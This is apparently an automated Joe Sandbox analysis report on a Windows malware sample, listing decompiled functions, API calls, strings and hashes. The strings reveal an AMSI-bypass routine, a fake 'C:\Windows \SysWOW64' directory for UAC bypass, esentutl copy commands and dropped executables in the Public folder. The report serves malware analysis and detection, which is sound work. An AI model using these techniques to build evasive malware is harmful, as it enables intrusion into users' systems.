sppwmi, xrefs: 031EADFC
LdrGetProcedureAddress, xrefs: 031EB07C
endpointdlp, xrefs: 031EA464, 031EA497, 031EA4CA, 031EA4FD
NtGetWriteWatch, xrefs: 031EAE7E
ntdll, xrefs: 031E922B, 031E927B, 031E928F, 031EA628, 031EA65B, 031EA68E, 031EA6C1, 031EA6F4, 031EAE95, 031EAEC8, 031EAEFB, 031EAF2E, 031EAF61, 031EAF94, 031EAFC7, 031EAFFA, 031EB02D, 031EB060, 031EB093, 031EB0C6, 031EB0F9, 031EB12C, 031EB15F
advapi32, xrefs: 031E923F
NtOpenSection, xrefs: 031EAF17
OpenSession, xrefs: 031E8134, 031E82A8, 031E8324, 031E8621, 031E877A, 031E8920, 031E8AAD, 031E8C41, 031E8DC0, 031E8EC3, 031E9037, 031E92B5, 031E94A5, 031E9796, 031E991C, 031E9B77, 031E9D7D, 031E9F41, 031EA230, 031EA2DF, 031EA51F, 031EA716, 031EA80E, 031EACC0, 031EB288
DlpCheckIsCloudSyncApp, xrefs: 031EA480
ScanString, xrefs: 031E822C, 031E8498, 031E8F3F, 031E9331, 031E971A, 031E9AFB, 031E9DF9, 031EA1B4, 031EA59B, 031EA792, 031EAD3C
NtWriteVirtualMemory, xrefs: 031EB0AF
Initialize, xrefs: 031E81B0, 031E83A0, 031E93AD, 031E9FBD, 031EA35B, 031EA88A, 031EAC44, 031EB190
tquery, xrefs: 031EA0C6
NtOpenProcess, xrefs: 031E928A
EnumServicesStatusA, xrefs: 031EA9B2
EnumServicesStatusW, xrefs: 031EA9C1
RetailTracerEnable, xrefs: 031EA0AF
dbgcore, xrefs: 031E9253, 031E9267
EnumServicesStatusExW, xrefs: 031EA9DF
CreateProcessAsUserA, xrefs: 031EAA1B
NtQueryInformationThread, xrefs: 031EAEE4
NtQuerySystemInformation, xrefs: 031EA976
UacInitialize, xrefs: 031E912F, 031E954B
LdrLoadDll, xrefs: 031EB049
DlpGetWebSiteAccess, xrefs: 031EA4E6
CryptSIPVerifyIndirectData, xrefs: 031EA17B
NtWaitForSingleObject, xrefs: 031EA677
CreateProcessAsUserW, xrefs: 031EAA2A, 031EAA48
SLGetGenuineInformation, xrefs: 031E9E6F
SxTracerGetThreadContextDebug, xrefs: 031EA0E2, 031EADB2
SLGetEncryptedPIDEx, xrefs: 031EAE4B
C:\Windows\System32\, xrefs: 031E86B3
NtAccessCheck, xrefs: 031EB016
EnumProcessModules, xrefs: 031EA9EE
DllGetClassObject, xrefs: 031EA115, 031EADE5
NtQueryDirectoryFile, xrefs: 031EA994
ScanBuffer, xrefs: 031E8529, 031E87F6, 031E899C, 031E8B29, 031E8CBD, 031E8E3C, 031E90B3, 031E91AB, 031E95C7, 031E98A0, 031E9A39, 031E9C6F, 031E9D01, 031EA039, 031EA3D7, 031EA906, 031EB20C
NtOpenObjectAuditAlarm, xrefs: 031E9226
MiniDumpWriteDump, xrefs: 031E924E
FlushInstructionCache, xrefs: 031EABD8
NtCreateSection, xrefs: 031EAF4A
SLLoadApplicationPolicies, xrefs: 031E9F08
NtReadVirtualMemory, xrefs: 031EAFB0
MiniDumpReadDumpStream, xrefs: 031E9262
EtwEventWriteEx, xrefs: 031EB115
SLGetSLIDList, xrefs: 031E9EA2
DlpNotifyPreDragDrop, xrefs: 031EA44D
I_QueryTagInformation, xrefs: 031E923A
NtOpenFile, xrefs: 031EB0E2

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CloseFileLibrary$CreateFreeHandlePathProcess$AddressAttributesCacheExitFlushInstructionLoadNameName_ProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2769005614-3738268246
Opcode ID: df1dcc0d4e472fa12915e057e6475529579958e048ad8ec7fe9602a8ebf9a43f
Instruction ID: f22566b21af5e86cc2b60090cb297645bfe2a1ce4fb359d7293543d7b9e34b9b
Opcode Fuzzy Hash: df1dcc0d4e472fa12915e057e6475529579958e048ad8ec7fe9602a8ebf9a43f
Instruction Fuzzy Hash: A643FD3DA1C66C8FCB12EB65DC909CE73B5EB9D700F1080A9A149AF654DF31AE918F41

Function 031E3E12 Relevance: 41.8, APIs: 3, Strings: 23, Instructions: 2804sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 031D89D0: FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

Part of subcall function 031DDC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031DDD5E), ref: 031DDCCB
Part of subcall function 031DDC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 031DDD05
Part of subcall function 031DDC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 031DDD32
Part of subcall function 031DDC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 031DDD3B

Sleep.KERNEL32(000003E8,ScanBuffer,03247380,031EB7B8,UacScan,03247380,031EB7B8,ScanString,03247380,031EB7B8,031EBB30,00000000,00000000,031EBB24,00000000,00000000), ref: 031E40CB

Part of subcall function 031D88B8: LoadLibraryW.KERNEL32(amsi), ref: 031D88C1
Part of subcall function 031D88B8: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 031D8920

Sleep.KERNEL32(000003E8,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,UacScan,03247380,031EB7B8,000003E8,ScanBuffer,03247380,031EB7B8,UacScan,03247380), ref: 031E4277

Part of subcall function 031D894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize,032473A8,031DA93C,UacScan), ref: 031D8960
Part of subcall function 031D894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031D897A
Part of subcall function 031D894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize), ref: 031D89B6

Sleep.KERNEL32(00004E20,UacScan,03247380,031EB7B8,ScanString,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,UacInitialize,03247380,031EB7B8), ref: 031E50EE

Part of subcall function 031DDC04: RtlI.N(?,?,00000000,031DDC7E), ref: 031DDC2C
Part of subcall function 031DDC04: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,031DDC7E), ref: 031DDC42
Part of subcall function 031DDC04: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,031DDC7E), ref: 031DDC61

Part of subcall function 031C7E5C: GetFileAttributesA.KERNEL32(00000000,?,031E041F,ScanString,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanString,03247380,031EB7B8,UacScan,03247380,031EB7B8,UacInitialize), ref: 031C7E67

Part of subcall function 031D85BC: WinExec.KERNEL32(?,?), ref: 031D8624

Strings

/o, xrefs: 031E64C0
lld.SLITUTEN, xrefs: 031E480C
C:\Users\Public\, xrefs: 031E5D88, 031E6FF3
UacScan, xrefs: 031E3F7F, 031E40DC, 031E4288, 031E440B, 031E45DC, 031E46BA, 031E484F, 031E4D10, 031E5079, 031E53F3, 031E5B8F, 031E60FF, 031E62C4, 031E65EA, 031E66F7, 031E6955, 031E6A4D
ScanBuffer, xrefs: 031E3FFB, 031E4202, 031E4380, 031E4503, 031E457F, 031E4736, 031E4947, 031E4B3C, 031E4D8C, 031E4F7C, 031E51F7, 031E546F, 031E56B0, 031E59EA, 031E5D03, 031E6083, 031E63BC, 031E6666, 031E686B, 031E69D1, 031E6B45, 031E6BC1
.url, xrefs: 031E5D93
C:\\Windows \\SysWOW64\\per.exe, xrefs: 031E43F5
C:\Users\Public\pha.exe, xrefs: 031E551B
IconIndex=, xrefs: 031E6DAD
C:\Users\Public\alpha.exe, xrefs: 031E54E5
HotKey=, xrefs: 031E6EE1
[InternetShortcut], xrefs: 031E6D48
C:\Users\Public\CApha.exe, xrefs: 031E5500
C:\\Users\\Public\\Libraries\\, xrefs: 031E616F
UacInitialize, xrefs: 031E4A44, 031E4E84, 031E50FF, 031E553C, 031E58F2, 031E5DDF
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 031E64AA
C:\\Windows \\SysWOW64\\, xrefs: 031E4822
OpenSession, xrefs: 031E4158, 031E4304, 031E4487, 031E48CB, 031E4AC0, 031E4C18, 031E4F00, 031E517B, 031E52FB, 031E5634, 031E57CE, 031E596E, 031E5B13, 031E5C87, 031E5ED7, 031E5F8B, 031E6248, 031E6340, 031E67EF, 031E6AC9, 031E6C3D, 031E6DD3, 031E6F83
ScanString, xrefs: 031E3F03, 031E49C8, 031E4E08, 031E4FFD, 031E55B8, 031E5752, 031E5A97, 031E5E5B, 031E64F2, 031E6CD8, 031E6E4F, 031E6F07
/d , xrefs: 031E64B5
Initialize, xrefs: 031E5876, 031E5C0B, 031E6007, 031E61CC, 031E6438, 031E656E, 031E6773
URL=file:", xrefs: 031E6D57
UacUninitialize, xrefs: 031E3E1E, 031E463E, 031E4C94, 031E5377

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Library$FilePath$FreeSleep$LoadNameName_$AddressAttributesCloseCreateDeleteExecProcWrite
String ID: /d $ /o$.url$C:\Users\Public\$C:\Users\Public\CApha.exe$C:\Users\Public\alpha.exe$C:\Users\Public\pha.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\per.exe$C:\\Windows\\System32\\esentutl.exe /y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
API String ID: 2171786310-3926298568
Opcode ID: ae2af48a1c7b9f838f464717a1a132802b469ddfea4633c46eba7f55e4debd15
Instruction ID: 5de1361bc899e3dcfabe20d7634d7112571a97cadeeb6304f26ac939ff2c7ffe
Opcode Fuzzy Hash: ae2af48a1c7b9f838f464717a1a132802b469ddfea4633c46eba7f55e4debd15
Instruction Fuzzy Hash: FE43003CA1C2AD8FCB12EB65DC90ADE73B5AF9D600F1080A59149AF654DF31AE81DF41

Function 031DE678 Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031D89D0: FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

Part of subcall function 031D8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031D8814

Part of subcall function 031D894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize,032473A8,031DA93C,UacScan), ref: 031D8960
Part of subcall function 031D894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031D897A
Part of subcall function 031D894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize), ref: 031D89B6

WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,03247380,031DEF4C,OpenSession,03247380,031DEF4C,UacScan,03247380,031DEF4C,ScanBuffer,03247380,031DEF4C,OpenSession,03247380), ref: 031DED6E
CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,03247380,031DEF4C,OpenSession,03247380,031DEF4C,UacScan,03247380,031DEF4C,ScanBuffer,03247380,031DEF4C,OpenSession), ref: 031DED76
CloseHandle.KERNEL32(00000878,00000000,00000000,000000FF,ScanString,03247380,031DEF4C,OpenSession,03247380,031DEF4C,UacScan,03247380,031DEF4C,ScanBuffer,03247380,031DEF4C), ref: 031DED7F

Strings

ScanBuffer, xrefs: 031DEBE6, 031DEE29
Initialize, xrefs: 031DEB48, 031DED8B
)"C:\Users\Public\Libraries\xrbjyllC.cmd" , xrefs: 031DE7F1, 031DE9B3
NtOpenProcess, xrefs: 031DEED1
Amsi, xrefs: 031DE825
ntdll, xrefs: 031DEEC5, 031DEED6
OpenSession, xrefs: 031DE711, 031DE8B6, 031DEA66, 031DEB97, 031DEC8E, 031DEDDA
AmsiOpenSession, xrefs: 031DE814
NtSetSecurityObject, xrefs: 031DEEC0
UacScan, xrefs: 031DE6B8, 031DE85D, 031DE9F5, 031DEC35, 031DEE78
ScanString, xrefs: 031DE76A, 031DE90F, 031DEAD7, 031DECFF

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Library$CloseFreeHandle$AddressCreateLoadObjectProcProcessSingleUserWait
String ID: )"C:\Users\Public\Libraries\xrbjyllC.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
API String ID: 3475578485-909933974
Opcode ID: 26008050359e1b7a26920326abb5579ba783a37baa73fa8863655a2962eac804
Instruction ID: d311ef7dcebe5efa90546b92710894cfcb748bddd17657f16750fb4561410c1a
Opcode Fuzzy Hash: 26008050359e1b7a26920326abb5579ba783a37baa73fa8863655a2962eac804
Instruction Fuzzy Hash: D0221238A183AD9FDB11FB65D891BCEB3B5AF9D201F1040A9A044EF254DF30AE41CB56

Function 031C1724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,031C2000), ref: 031C17D0
Sleep.KERNEL32(0000000A,00000000,?,031C2000), ref: 031C17E6

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6008ec0d3d48f8ddc556e197f0afe9f6dd259239c76b220a44ebfe04593b490c
Instruction ID: 49b6ba351c12270eabd592fc878a7bbe48b296a382f44ad307d7e475c28d3ffc
Opcode Fuzzy Hash: 6008ec0d3d48f8ddc556e197f0afe9f6dd259239c76b220a44ebfe04593b490c
Instruction Fuzzy Hash: D6B1217A650780ABCB15EF69E988355FBE0FB9A310F19C2BED4058F38AC7749442C790

Function 031D88B8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 031D88C1

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

Part of subcall function 031D7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D7DEC

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 031D8920

Strings

DllGetClassObject, xrefs: 031D88E6
W, xrefs: 031D88CD
amsi, xrefs: 031D88BC

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 8ab3092199a580f4f0810a3977c5e5740e984d9610fa58905996e483bf942be4
Instruction ID: fda63a92096a43f0192ce814d9286739185bdbc0525e83265e2dd6f222c66637
Opcode Fuzzy Hash: 8ab3092199a580f4f0810a3977c5e5740e984d9610fa58905996e483bf942be4
Instruction Fuzzy Hash: 18F0879044C381BBC200E6B88C45F4FBACC4BAA164F448A18B1E8AA2D2D77AD10583A7

Function 031C1A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 031C1B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 031C1B31

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 779a84f47678a21e764b22ab85900d8649a15ff8fa9abc014735e4fb5de117ce
Instruction ID: 9e51d632dc685ba80bf24570eb30016ce8419e67fdc26ff95207cbc26a5ac5ab
Opcode Fuzzy Hash: 779a84f47678a21e764b22ab85900d8649a15ff8fa9abc014735e4fb5de117ce
Instruction Fuzzy Hash: AB51ED796A03C0AFE715DF68D984756BBE4AB6A310F2881BED8048B387E770D445CB91

Function 031DE4B6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031DE5F6

Strings

OpenSession, xrefs: 031DE598
Initialize, xrefs: 031DE4E6
ScanBuffer, xrefs: 031DE53F

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 827c368eb867f0724c2275cfe803d0076bfc2f615137e4cf9b132d92c2d399bc
Instruction ID: 6bbed1d75c8cf67630094e88b842222e1d6bcc8b24bb310ded62a316b4623a4b
Opcode Fuzzy Hash: 827c368eb867f0724c2275cfe803d0076bfc2f615137e4cf9b132d92c2d399bc
Instruction Fuzzy Hash: 8E413D39B2835C9FDB12EBA5D851ADEB3B9EF9D601F204429E040AF244DF30AD018B65

Function 031D85BA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

WinExec.KERNEL32(?,?), ref: 031D8624

Strings

Kernel32, xrefs: 031D8607
WinExec, xrefs: 031D85D5

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: cd0aa1fba0ba3a7269d6e667d5e2d4304459c18e89f707c30e4f9f00e10e353f
Instruction ID: d2aa1d47d78b6c0d64cb5d6613c6d4e7ca0fdd99e8ddf9cae0ce4cf77bd5d64d
Opcode Fuzzy Hash: cd0aa1fba0ba3a7269d6e667d5e2d4304459c18e89f707c30e4f9f00e10e353f
Instruction Fuzzy Hash: AE013C79618748BFDB01EFE9EC12F5E7BADE74EA10F518460B910DA640EB74AD008A25

Function 031D85BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

WinExec.KERNEL32(?,?), ref: 031D8624

Strings

Kernel32, xrefs: 031D8607
WinExec, xrefs: 031D85D5

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 74f3a65676f6cfe5261ec111d8963727215f78149d523705c4e4c75e5f735296
Instruction ID: a589008521eeed88866390c24a5c2939782c805fb7e74878d256d18fb3f8cf5c
Opcode Fuzzy Hash: 74f3a65676f6cfe5261ec111d8963727215f78149d523705c4e4c75e5f735296
Instruction Fuzzy Hash: 74F04F79618748BFDB01FFE9EC12F5E7BADE74EA10F518460F910DA640EB74AD008A25

Function 031D5C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,031D5D74,?,?,031D3900,00000001), ref: 031D5C88
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,031D5D74,?,?,031D3900,00000001), ref: 031D5CB6

Part of subcall function 031C7D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,031D3900,031D5CF6,00000000,031D5D74,?,?,031D3900), ref: 031C7DAA

